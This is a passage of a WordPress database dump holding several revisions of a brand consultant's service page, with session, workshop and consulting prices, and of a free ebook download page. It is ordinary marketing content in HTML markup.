PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<h3><span style="color: #ff6600;">Strategic Brand Development Workshops</span></h3>\r\nFor growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\nThis issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\nThe power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.\r\n\r\n<em>The Brand Voice Workshop</em>\r\nThis one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n<h3><span style="color: #ff6600;">Brand Transformation and Creative Consulting</span></h3>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-14 10:33:26', '2015-10-14 17:33:26', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3172, 1, '2015-10-14 10:29:47', '2015-10-14 17:29:47', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n&nbsp;\r\n<h3><strong><span style="color: #ff6600;">Power Session Jams</span></strong></h3>\r\n<img class="alignnone size-full wp-image-3138 alignright" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-14 10:29:47', '2015-10-14 17:29:47', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3173, 1, '2015-10-14 10:30:34', '2015-10-14 17:30:34', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="size-full wp-image-3138 alignnone" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n<h3><strong><span style="color: #ff6600;">Power Session Jams</span></strong></h3>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n<h3><strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span></strong></h3>\r\nFor growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n<h3><span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span></h3>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-14 10:30:34', '2015-10-14 17:30:34', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3174, 1, '2015-10-14 10:32:54', '2015-10-14 17:32:54', '<h1>Strategic Brand Development Consulting Programs</h1>\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\n<img class="size-full wp-image-3138 alignnone" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\n<h3><span style="color: #ff6600;">Power Session Jams</span></h3>\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\n\n<strong><em>Individual Power Session $500 USD </em></strong>\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\n<strong> <em>Payable in advance through PayPal</em></strong>\n\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\n\n&nbsp;\n\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\n\n<h3><strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span></strong></h3>\nFor growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\n\n<em>The Brand Positioning Workshop</em>\nThis issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\n\n<em>The Brand Storytelling Workshop</em>\nThe power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.\n\n<em>The Brand Voice Workshop</em>\nThis one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\n\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]&nbsp;\n\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\n<h3><span style="color: #ff6600;">Brand Transformation and Creative Consulting</span></h3>\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\n\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\n\n\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-autosave-v1', '', '', '2015-10-14 10:32:54', '2015-10-14 17:32:54', '', 3058, 'http://whc.fbdev.org/2015/10/3058-autosave-v1/', 0, 'revision', '', 0),
(3176, 1, '2015-10-14 10:34:37', '2015-10-14 17:34:37', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="size-full wp-image-3138 alignnone" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n<h3><span style="color: #ff6600;">Power Session Jams</span></h3>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<h3><span style="color: #ff6600;">Strategic Brand Development Workshops</span></h3>\r\nFor growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<strong><em>The Brand Positioning Workshop</em></strong>\r\nThis issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n\r\n<strong><em>The Brand Storytelling Workshop</em></strong>\r\nThe power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.\r\n\r\n<strong><em>The Brand Voice Workshop</em></strong>\r\nThis one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n<h3><span style="color: #ff6600;">Brand Transformation and Creative Consulting</span></h3>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-14 10:34:37', '2015-10-14 17:34:37', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0);
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(3180, 2, '2015-10-15 12:16:38', '2015-10-15 19:16:38', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="size-full wp-image-3138 alignnone" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n<h3><span style="color: #ff6600;">Power Session Jams</span></h3>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<h3><span style="color: #ff6600;">Strategic Brand Development Workshops</span></h3>\r\nFor growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<strong><em>The Brand Positioning Workshop</em></strong>\r\nThis issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n\r\n<strong><em>The Brand Storytelling Workshop</em></strong>\r\nThe power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.\r\n\r\n<strong><em>The Brand Voice Workshop</em></strong>\r\nThis one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.\r\n\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter.\r\n\r\nTypically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n<h3><span style="color: #ff6600;">Brand Transformation and Creative Consulting</span></h3>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-15 12:16:38', '2015-10-15 19:16:38', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3183, 1, '2015-10-16 12:38:27', '2015-10-16 19:38:27', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" target="_blank">Competition Proof Your Business EBook</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:38:27', '2015-10-16 19:38:27', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
(3184, 1, '2015-10-16 12:39:09', '2015-10-16 19:39:09', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" target="_blank">Competition Proof Your Business EBook</a>\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\nto your inspired success,\r\nThomson Dawson', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:39:09', '2015-10-16 19:39:09', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
(3185, 1, '2015-10-16 12:49:16', '2015-10-16 19:49:16', '<h2 style="margin-top: ">I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\n<h3>Competition Proof Your Business EBook</h3>\n<img class="wp-image-733 alignleft" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\n\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\n\n[su_button url="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" style="flat" background="#ff6600" size="6"]Download E-Book[/su_button]\n&nbsp;<br />&nbsp;<br />\nto your inspired success,\nThomson Dawson', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-autosave-v1', '', '', '2015-10-16 12:49:16', '2015-10-16 19:49:16', '', 744, 'http://whc.fbdev.org/2015/10/744-autosave-v1/', 0, 'revision', '', 0),
